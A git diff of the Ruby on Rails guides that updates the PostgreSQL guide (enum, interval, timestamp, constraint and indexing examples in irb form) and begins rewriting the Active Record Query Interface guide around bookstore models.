-Event.where("payload->>'kind' = ?", "user_renamed")
+irb> Event.where("payload->>'kind' = ?", "user_renamed")
 ```
 
 ### Range Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/rangetypes.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-range.html)
+* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html)
 
-This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects.
+This type is mapped to Ruby [`Range`](https://docs.ruby-lang.org/en/master/Range.html) objects.
 
 ```ruby
 # db/migrate/20130923065404_create_events.rb
 create_table :events do |t|
-  t.daterange 'duration'
+  t.daterange "duration"
 end
+```
 
+```ruby
 # app/models/event.rb
 class Event < ApplicationRecord
 end
+```
 
-# Usage
-Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+```irb
+irb> Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
 
-event = Event.first
-event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+irb> event = Event.first
+irb> event.duration
+=> Tue, 11 Feb 2014...Thu, 13 Feb 2014
 
 ## All Events on a given date
-Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+irb> Event.where("duration @> ?::date", Date.new(2014, 2, 12))
 
 ## Working with range bounds
-event = Event.
-  select("lower(duration) AS starts_at").
-  select("upper(duration) AS ends_at").first
+irb> event = Event.select("lower(duration) AS starts_at").select("upper(duration) AS ends_at").first
 
-event.starts_at # => Tue, 11 Feb 2014
-event.ends_at # => Thu, 13 Feb 2014
+irb> event.starts_at
+=> Tue, 11 Feb 2014
+irb> event.ends_at
+=> Thu, 13 Feb 2014
 ```
 
 ### Composite Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/rowtypes.html)
+* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html)
 
 Currently there is no special support for composite types. They are mapped to
 normal text columns:
@@ -193,85 +222,132 @@ CREATE TYPE full_address AS
 ```ruby
 # db/migrate/20140207133952_create_contacts.rb
 execute <<-SQL
- CREATE TYPE full_address AS
- (
-   city VARCHAR(90),
-   street VARCHAR(90)
- );
+  CREATE TYPE full_address AS
+  (
+    city VARCHAR(90),
+    street VARCHAR(90)
+  );
 SQL
 create_table :contacts do |t|
   t.column :address, :full_address
 end
+```
 
+```ruby
 # app/models/contact.rb
 class Contact < ApplicationRecord
 end
+```
 
-# Usage
-Contact.create address: "(Paris,Champs-Élysées)"
-contact = Contact.first
-contact.address # => "(Paris,Champs-Élysées)"
-contact.address = "(Paris,Rue Basse)"
-contact.save!
+```irb
+irb> Contact.create address: "(Paris,Champs-Élysées)"
+irb> contact = Contact.first
+irb> contact.address
+=> "(Paris,Champs-Élysées)"
+irb> contact.address = "(Paris,Rue Basse)"
+irb> contact.save!
 ```
 
 ### Enumerated Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-enum.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html)
 
-Currently there is no special support for enumerated types. They are mapped as
-normal text columns:
+The type can be mapped as a normal text column, or to an [`ActiveRecord::Enum`](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
 
 ```ruby
 # db/migrate/20131220144913_create_articles.rb
-def up
-  execute <<-SQL
-    CREATE TYPE article_status AS ENUM ('draft', 'published');
-  SQL
+def change
+  create_enum :article_status, ["draft", "published", "archived"]
+
   create_table :articles do |t|
-    t.column :status, :article_status
+    t.enum :status, enum_type: :article_status, default: "draft", null: false
   end
 end
+```
+
+You can also create an enum type and add an enum column to an existing table:
+
+```ruby
+# db/migrate/20230113024409_add_status_to_articles.rb
+def change
+  create_enum :article_status, ["draft", "published", "archived"]
+
+  add_column :articles, :status, :enum, enum_type: :article_status, default: "draft", null: false
+end
+```
 
-# NOTE: It's important to drop table before dropping enum.
+The above migrations are both reversible, but you can define separate `#up` and `#down` methods if required. Make sure you remove any columns or tables that depend on the enum type before dropping it:
+
+```ruby
 def down
   drop_table :articles
 
-  execute <<-SQL
-    DROP TYPE article_status;
-  SQL
+  # OR: remove_column :articles, :status
+  drop_enum :article_status
 end
+```
+
+Declaring an enum attribute in the model adds helper methods and prevents invalid values from being assigned to instances of the class:
 
+```ruby
 # app/models/article.rb
 class Article < ApplicationRecord
+  enum :status, {
+    draft: "draft", published: "published", archived: "archived"
+  }, prefix: true
 end
+```
 
-# Usage
-Article.create status: "draft"
-article = Article.first
-article.status # => "draft"
+```irb
+irb> article = Article.create
+irb> article.status
+=> "draft" # default status from PostgreSQL, as defined in migration above
+
+irb> article.status_published!
+irb> article.status
+=> "published"
+
+irb> article.status_archived?
+=> false
 
-article.status = "published"
-article.save!
+irb> article.status = "deleted"
+ArgumentError: 'deleted' is not a valid status
 ```
 
-To add a new value before/after existing one you should use [ALTER TYPE](http://www.postgresql.org/docs/current/static/sql-altertype.html):
+To rename the enum you can use `rename_enum` along with updating any model
+usage:
 
 ```ruby
-# db/migrate/20150720144913_add_new_state_to_articles.rb
-# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
-disable_ddl_transaction!
+# db/migrate/20150718144917_rename_article_status.rb
+def change
+  rename_enum :article_status, :article_state
+end
+```
 
+To add a new value you can use `add_enum_value`:
+
+```ruby
+# db/migrate/20150720144913_add_new_state_to_articles.rb
 def up
-  execute <<-SQL
-    ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
-  SQL
+  add_enum_value :article_state, "archived" # will be at the end after published
+  add_enum_value :article_state, "in review", before: "published"
+  add_enum_value :article_state, "approved", after: "in review"
+  add_enum_value :article_state, "rejected", if_not_exists: true # won't raise an error if the value already exists
 end
 ```
 
-NOTE: ENUM values can't be dropped currently. You can read why [here](http://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
+NOTE: Enum values can't be dropped, which also means add_enum_value is irreversible. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
+
+To rename a value you can use `rename_enum_value`:
+
+```ruby
+# db/migrate/20150722144915_rename_article_state.rb
+def change
+  rename_enum_value :article_state, from: "archived", to: "deleted"
+end
+```
 
-Hint: to show all the values of the all enums you have, you should call this query in `bin/rails db` or `psql` console:
+Hint: to show all the values of the all enums you have, you can call this query in `bin/rails db` or `psql` console:
 
 ```sql
 SELECT n.nspname AS enum_schema,
@@ -284,47 +360,54 @@ SELECT n.nspname AS enum_schema,
 
 ### UUID
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-uuid.html)
-* [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361)
-* [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html)
+* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html)
+* [uuid-ossp generator functions](https://www.postgresql.org/docs/current/static/uuid-ossp.html)
 
-NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp`
-extension to use uuid.
+NOTE: If you're using PostgreSQL earlier than version 13.0 you may need to enable special extensions to use UUIDs. Enable the `pgcrypto` extension (PostgreSQL >= 9.4) or `uuid-ossp` extension (for even earlier releases).
 
 ```ruby
 # db/migrate/20131220144913_create_revisions.rb
 create_table :revisions do |t|
   t.uuid :identifier
 end
+```
 
+```ruby
 # app/models/revision.rb
 class Revision < ApplicationRecord
 end
+```
 
-# Usage
-Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+```irb
+irb> Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
 
-revision = Revision.first
-revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+irb> revision = Revision.first
+irb> revision.identifier
+=> "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
 ```
 
 You can use `uuid` type to define references in migrations:
 
 ```ruby
 # db/migrate/20150418012400_create_blog.rb
-enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
-create_table :posts, id: :uuid, default: 'gen_random_uuid()'
+enable_extension "pgcrypto" unless extension_enabled?("pgcrypto")
+create_table :posts, id: :uuid
 
-create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t|
+create_table :comments, id: :uuid do |t|
   # t.belongs_to :post, type: :uuid
   t.references :post, type: :uuid
 end
+```
 
+```ruby
 # app/models/post.rb
 class Post < ApplicationRecord
   has_many :comments
 end
+```
 
+```ruby
 # app/models/comment.rb
 class Comment < ApplicationRecord
   belongs_to :post
@@ -335,70 +418,131 @@ See [this section](#uuid-primary-keys) for more details on using UUIDs as primar
 
 ### Bit String Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-bit.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-bitstring.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html)
 
 ```ruby
 # db/migrate/20131220144913_create_users.rb
 create_table :users, force: true do |t|
   t.column :settings, "bit(8)"
 end
+```
 
-# app/models/device.rb
+```ruby
+# app/models/user.rb
 class User < ApplicationRecord
 end
+```
 
-# Usage
-User.create settings: "01010011"
-user = User.first
-user.settings # => "01010011"
-user.settings = "0xAF"
-user.settings # => 10101111
-user.save!
+```irb
+irb> User.create settings: "01010011"
+irb> user = User.first
+irb> user.settings
+=> "01010011"
+irb> user.settings = "0xAF"
+irb> user.settings
+=> "10101111"
+irb> user.save!
 ```
 
 ### Network Address Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-net-types.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html)
 
 The types `inet` and `cidr` are mapped to Ruby
-[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html)
+[`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html)
 objects. The `macaddr` type is mapped to normal text.
 
 ```ruby
 # db/migrate/20140508144913_create_devices.rb
 create_table(:devices, force: true) do |t|
-  t.inet 'ip'
-  t.cidr 'network'
-  t.macaddr 'address'
+  t.inet "ip"
+  t.cidr "network"
+  t.macaddr "address"
 end
+```
 
+```ruby
 # app/models/device.rb
 class Device < ApplicationRecord
 end
+```
 
-# Usage
-macbook = Device.create(ip: "192.168.1.12",
-                        network: "192.168.2.0/24",
-                        address: "32:01:16:6d:05:ef")
+```irb
+irb> macbook = Device.create(ip: "192.168.1.12", network: "192.168.2.0/24", address: "32:01:16:6d:05:ef")
 
-macbook.ip
-# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+irb> macbook.ip
+=> #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
 
-macbook.network
-# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+irb> macbook.network
+=> #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
 
-macbook.address
-# => "32:01:16:6d:05:ef"
+irb> macbook.address
+=> "32:01:16:6d:05:ef"
 ```
 
 ### Geometric Types
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-geometric.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html)
 
 All geometric types, with the exception of `points` are mapped to normal text.
-A point is casted to an array containing `x` and `y` coordinates.
+A point is cast to an array containing `x` and `y` coordinates.
+
+### Interval
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-datetime.html#DATATYPE-INTERVAL-INPUT)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-datetime.html)
+
+This type is mapped to [`ActiveSupport::Duration`](https://api.rubyonrails.org/classes/ActiveSupport/Duration.html) objects.
+
+```ruby
+# db/migrate/20200120000000_create_events.rb
+create_table :events do |t|
+  t.interval "duration"
+end
+```
+
+```ruby
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+```
 
+```irb
+irb> Event.create(duration: 2.days)
+
+irb> event = Event.first
+irb> event.duration
+=> 2 days
+```
+
+### Timestamps
+
+* [Date/Time Types](https://www.postgresql.org/docs/current/datatype-datetime.html)
+
+Rails migrations with timestamps store the time a model was created or updated. By default and for legacy reasons, the columns use the `timestamp without time zone` data type.
+
+```ruby
+# db/migrate/20241220144913_create_devices.rb
+create_table :post, id: :uuid do |t|
+  t.datetime :published_at
+  # By default, Active Record will set the data type of this column to `timestamp without time zone`.
+end
+```
+
+While this works ok, [PostgreSQL best practices](https://wiki.postgresql.org/wiki/Don't_Do_This#Don.27t_use_timestamp_.28without_time_zone.29) recommend that `timestamp with time zone` is used instead for timezone-aware timestamps.
+This must be configured before it can be used for new migrations.
+
+To configure `timestamp with time zone` as your new timestamp default data type, place the following configuration in the `config/application.rb` file.
+
+```ruby
+# config/application.rb
+ActiveSupport.on_load(:active_record_postgresqladapter) do
+  self.datetime_type = :timestamptz
+end
+```
+
+With that configuration in place, generate and apply new migrations, then verify their timestamps use the `timestamp with time zone` data type.
 
 UUID Primary Keys
 -----------------
@@ -408,22 +552,165 @@ extension to generate random UUIDs.
 
 ```ruby
 # db/migrate/20131220144913_create_devices.rb
-enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
-create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t|
+enable_extension "pgcrypto" unless extension_enabled?("pgcrypto")
+create_table :devices, id: :uuid do |t|
   t.string :kind
 end
+```
 
+```ruby
 # app/models/device.rb
 class Device < ApplicationRecord
 end
+```
+
+```irb
+irb> device = Device.create
+irb> device.id
+=> "814865cd-5a1d-4771-9306-4268f188fe9e"
+```
+
+NOTE: `gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option
+was passed to `create_table`.
+
+To use the Rails model generator for a table using UUID as the primary key, pass
+`--primary-key-type=uuid` to the model generator.
+
+For example:
+
+```bash
+$ bin/rails generate model Device --primary-key-type=uuid kind:string
+```
+
+When building a model with a foreign key that will reference this UUID, treat
+`uuid` as the native field type, for example:
+
+```bash
+$ bin/rails generate model Case device_id:uuid
+```
+
+Indexing
+--------
+
+* [index creation](https://www.postgresql.org/docs/current/sql-createindex.html)
+
+PostgreSQL includes a variety of index options. The following options are
+supported by the PostgreSQL adapter in addition to the
+[common index options](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index)
+
+### Include
+
+When creating a new index, non-key columns can be included with the `:include` option.
+These keys are not used in index scans for searching, but can be read during an index
+only scan without having to visit the associated table.
+
+```ruby
+# db/migrate/20131220144913_add_index_users_on_email_include_id.rb
+
+add_index :users, :email, include: :id
+```
+
+Multiple columns are supported:
+
+```ruby
+# db/migrate/20131220144913_add_index_users_on_email_include_id_and_created_at.rb
+
+add_index :users, :email, include: [:id, :created_at]
+```
+
+Generated Columns
+-----------------
+
+NOTE: Generated columns are supported since version 12.0 of PostgreSQL.
+
+```ruby
+# db/migrate/20131220144913_create_users.rb
+create_table :users do |t|
+  t.string :name
+  t.virtual :name_upcased, type: :string, as: "upper(name)", stored: true
+end
+
+# app/models/user.rb
+class User < ApplicationRecord
+end
 
 # Usage
-device = Device.create
-device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+user = User.create(name: "John")
+User.last.name_upcased # => "JOHN"
+```
+
+Deferrable Foreign Keys
+-----------------------
+
+* [foreign key table constraints](https://www.postgresql.org/docs/current/sql-set-constraints.html)
+
+By default, table constraints in PostgreSQL are checked immediately after each statement. It intentionally does not allow creating records where the referenced record is not yet in the referenced table. It is possible to run this integrity check later on when the transaction is committed by adding `DEFERRABLE` to the foreign key definition though. To defer all checks by default it can be set to `DEFERRABLE INITIALLY DEFERRED`. Rails exposes this PostgreSQL feature by adding the `:deferrable` key to the `foreign_key` options in the `add_reference` and `add_foreign_key` methods.
+
+One example of this is creating circular dependencies in a transaction even if you have created foreign keys:
+
+```ruby
+add_reference :person, :alias, foreign_key: { deferrable: :deferred }
+add_reference :alias, :person, foreign_key: { deferrable: :deferred }
 ```
 
-NOTE: `gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option was
-passed to `create_table`.
+If the reference was created with the `foreign_key: true` option, the following transaction would fail when executing the first `INSERT` statement. It does not fail when the `deferrable: :deferred` option is set though.
+
+```ruby
+ActiveRecord::Base.lease_connection.transaction do
+  person = Person.create(id: SecureRandom.uuid, alias_id: SecureRandom.uuid, name: "John Doe")
+  Alias.create(id: person.alias_id, person_id: person.id, name: "jaydee")
+end
+```
+
+When the `:deferrable` option is set to `:immediate`, let the foreign keys keep the default behavior of checking the constraint immediately, but allow manually deferring the checks using `set_constraints` within a transaction. This will cause the foreign keys to be checked when the transaction is committed:
+
+```ruby
+ActiveRecord::Base.lease_connection.transaction do
+  ActiveRecord::Base.lease_connection.set_constraints(:deferred)
+  person = Person.create(alias_id: SecureRandom.uuid, name: "John Doe")
+  Alias.create(id: person.alias_id, person_id: person.id, name: "jaydee")
+end
+```
+
+By default `:deferrable` is `false` and the constraint is always checked immediately.
+
+Unique Constraint
+-----------------
+
+* [unique constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-UNIQUE-CONSTRAINTS)
+
+```ruby
+# db/migrate/20230422225213_create_items.rb
+create_table :items do |t|
+  t.integer :position, null: false
+  t.unique_constraint [:position], deferrable: :immediate
+end
+```
+
+If you want to change an existing unique index to deferrable, you can use `:using_index` to create deferrable unique constraints.
+
+```ruby
+add_unique_constraint :items, deferrable: :deferred, using_index: "index_items_on_position"
+```
+
+Like foreign keys, unique constraints can be deferred by setting `:deferrable` to either `:immediate` or `:deferred`. By default, `:deferrable` is `false` and the constraint is always checked immediately.
+
+Exclusion Constraints
+---------------------
+
+* [exclusion constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-EXCLUSION)
+
+```ruby
+# db/migrate/20131220144913_create_products.rb
+create_table :products do |t|
+  t.integer :price, null: false
+  t.daterange :availability_range, null: false
+
+  t.exclusion_constraint "price WITH =, availability_range WITH &&", using: :gist, name: "price_check"
+end
+```
+
+Like foreign keys, exclusion constraints can be deferred by setting `:deferrable` to either `:immediate` or `:deferred`. By default, `:deferrable` is `false` and the constraint is always checked immediately.
 
 Full Text Search
 ----------------
@@ -431,16 +718,20 @@ Full Text Search
 ```ruby
 # db/migrate/20131220144913_create_documents.rb
 create_table :documents do |t|
-  t.string 'title'
-  t.string 'body'
+  t.string :title
+  t.string :body
 end
 
-add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx'
+add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: "documents_idx"
+```
 
+```ruby
 # app/models/document.rb
 class Document < ApplicationRecord
 end
+```
 
+```ruby
 # Usage
 Document.create(title: "Cats and Dogs", body: "are nice!")
 
@@ -449,10 +740,31 @@ Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
                  "cat & dog")
 ```
 
+Optionally, you can store the vector as automatically generated column (from PostgreSQL 12.0):
+
+```ruby
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string :title
+  t.string :body
+
+  t.virtual :textsearchable_index_col,
+            type: :tsvector, as: "to_tsvector('english', title || ' ' || body)", stored: true
+end
+
+add_index :documents, :textsearchable_index_col, using: :gin, name: "documents_idx"
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("textsearchable_index_col @@ to_tsquery(?)", "cat & dog")
+```
+
 Database Views
 --------------
 
-* [view creation](http://www.postgresql.org/docs/current/static/sql-createview.html)
+* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html)
 
 Imagine you need to work with a legacy database containing the following table:
 
@@ -485,8 +797,10 @@ CREATE VIEW articles AS
          "BL_ARCH" AS archived
   FROM "TBL_ART"
   WHERE "BL_ARCH" = 'f'
-  SQL
+SQL
+```
 
+```ruby
 # app/models/article.rb
 class Article < ApplicationRecord
   self.primary_key = "id"
@@ -494,19 +808,49 @@ class Article < ApplicationRecord
     update_attribute :archived, true
   end
 end
+```
 
-# Usage
-first = Article.create! title: "Winter is coming",
-                        status: "published",
-                        published_at: 1.year.ago
-second = Article.create! title: "Brace yourself",
-                         status: "draft",
-                         published_at: 1.month.ago
+```irb
+irb> first = Article.create! title: "Winter is coming", status: "published", published_at: 1.year.ago
+irb> second = Article.create! title: "Brace yourself", status: "draft", published_at: 1.month.ago
 
-Article.count # => 2
-first.archive!
-Article.count # => 1
+irb> Article.count
+=> 2
+irb> first.archive!
+irb> Article.count
+=> 1
 ```
 
 NOTE: This application only cares about non-archived `Articles`. A view also
 allows for conditions so we can exclude the archived `Articles` directly.
+
+Structure Dumps
+--------------
+
+If your `config.active_record.schema_format` is `:sql`, Rails will call `pg_dump` to generate a
+structure dump.
+
+You can use `ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags` to configure `pg_dump`.
+For example, to exclude comments from your structure dump, add this to an initializer:
+
+```ruby
+ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = ["--no-comments"]
+```
+
+Explain
+-------
+
+Along with the standard [`explain`][explain-options] options, the PostgreSQL adapter supports [`buffers`][explain-analayze-buffers].
+
+```ruby
+Company.where(id: owning_companies_ids).explain(:analyze, :buffers)
+#=> EXPLAIN (ANALYZE, BUFFERS) SELECT "companies".* FROM "companies"
+# ...
+# Seq Scan on companies  (cost=0.00..2.21 rows=3 width=64)
+# ...
+```
+
+See their documentation for more details.
+
+[explain-options]: active_record_querying.html#explain-options
+[explain-analayze-buffers]: https://www.postgresql.org/docs/current/sql-explain.html
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 31220f9be2463..6fd3fcc2118dc 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Query Interface
 =============================
@@ -18,39 +18,73 @@ After reading this guide, you will know:
 
 --------------------------------------------------------------------------------
 
+What is the Active Record Query Interface?
+------------------------------------------
+
 If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
 
+Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same.
+
 Code examples throughout this guide will refer to one or more of the following models:
 
 TIP: All of the following models use `id` as the primary key, unless specified otherwise.
 
 ```ruby
-class Client < ApplicationRecord
-  has_one :address
-  has_many :orders
-  has_and_belongs_to_many :roles
+class Author < ApplicationRecord
+  has_many :books, -> { order(year_published: :desc) }
+end
+```
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :author
+  has_many :reviews
+  has_and_belongs_to_many :orders, join_table: "books_orders"
+
+  scope :in_print, -> { where(out_of_print: false) }
+  scope :out_of_print, -> { where(out_of_print: true) }
+  scope :old, -> { where(year_published: ...50.years.ago.year) }
+  scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") }
+  scope :costs_more_than, ->(amount) { where("price > ?", amount) }
 end
 ```
 
 ```ruby
-class Address < ApplicationRecord
-  belongs_to :client
+class Customer < ApplicationRecord
+  has_many :orders
+  has_many :reviews
 end
 ```
 
 ```ruby
 class Order < ApplicationRecord
-  belongs_to :client, counter_cache: true
+  belongs_to :customer
+  has_and_belongs_to_many :books, join_table: "books_orders"
+
+  enum :status, [:shipped, :being_packed, :complete, :cancelled]
+
+  scope :created_before, ->(time) { where(created_at: ...time) }
 end
 ```
 
 ```ruby
-class Role < ApplicationRecord
-  has_and_belongs_to_many :clients
+class Review < ApplicationRecord
+  belongs_to :customer
+  belongs_to :book
+
+  enum :state, [:not_reviewed, :published, :hidden]
 end
 ```
 
-Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same.
+```ruby
+class Supplier < ApplicationRecord
+  has_many :books
+  has_many :authors, through: :books
+end
+```
+
+![Diagram of all of the bookstore models](images/active_record_querying/bookstore_models.png)
 
 Retrieving Objects from the Database
 ------------------------------------
@@ -59,31 +93,36 @@ To retrieve objects from the database, Active Record provides several finder met
 
 The methods are:
 
-* `find`
-* `create_with`
-* `distinct`
-* `eager_load`
-* `extending`
-* `from`
-* `group`
-* `having`
-* `includes`
-* `joins`
-* `left_outer_joins`
-* `limit`
-* `lock`
-* `none`
-* `offset`
-* `order`
-* `preload`
-* `readonly`
-* `references`
-* `reorder`
-* `reverse_order`
-* `select`
-* `where`
-
-Finder methods that return a collection, such as `where` and `group`, return an instance of `ActiveRecord::Relation`.  Methods that find a single entity, such as `find` and `first`, return a single instance of the model.
+* [`annotate`][]
+* [`find`][]
+* [`create_with`][]
+* [`distinct`][]
+* [`eager_load`][]
+* [`extending`][]
+* [`extract_associated`][]
+* [`from`][]
+* [`group`][]
+* [`having`][]
+* [`includes`][]
+* [`joins`][]
+* [`left_outer_joins`][]
+* [`limit`][]
+* [`lock`][]
+* [`none`][]
+* [`offset`][]
+* [`optimizer_hints`][]
+* [`order`][]
+* [`preload`][]
+* [`readonly`][]
+* [`references`][]
+* [`reorder`][]
+* [`reselect`][]
+* [`regroup`][]
+* [`reverse_order`][]
+* [`select`][]
+* [`where`][]
+
+Finder methods that return a collection, such as `where` and `group`, return an instance of [`ActiveRecord::Relation`][].  Methods that find a single entity, such as `find` and `first`, return a single instance of the model.
 
 The primary operation of `Model.find(options)` can be summarized as:
 
@@ -92,234 +131,353 @@ The primary operation of `Model.find(options)` can be summarized as:
 * Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
 * Run `after_find` and then `after_initialize` callbacks, if any.
 
+[`ActiveRecord::Relation`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html
+[`annotate`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-annotate
+[`create_with`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-create_with
+[`distinct`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct
+[`eager_load`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load
+[`extending`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-extending
+[`extract_associated`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-extract_associated
+[`find`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find
+[`from`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-from
+[`group`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group
+[`having`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having
+[`includes`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes
+[`joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins
+[`left_outer_joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins
+[`limit`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit
+[`lock`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock
+[`none`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none
+[`offset`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset
+[`optimizer_hints`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-optimizer_hints
+[`order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order
+[`preload`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload
+[`readonly`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly
+[`references`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references
+[`reorder`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder
+[`reselect`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect
+[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup
+[`reverse_order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order
+[`select`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select
+[`where`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where
+
 ### Retrieving a Single Object
 
 Active Record provides several different ways of retrieving a single object.
 
 #### `find`
 
-Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+Using the [`find`][] method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
 
-```ruby
-# Find the client with primary key (id) 10.
-client = Client.find(10)
-# => #<Client id: 10, first_name: "Ryan">
+```irb
+# Find the customer with primary key (id) 10.
+irb> customer = Customer.find(10)
+=> #<Customer id: 10, first_name: "Ryan">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1
 ```
 
 The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
 
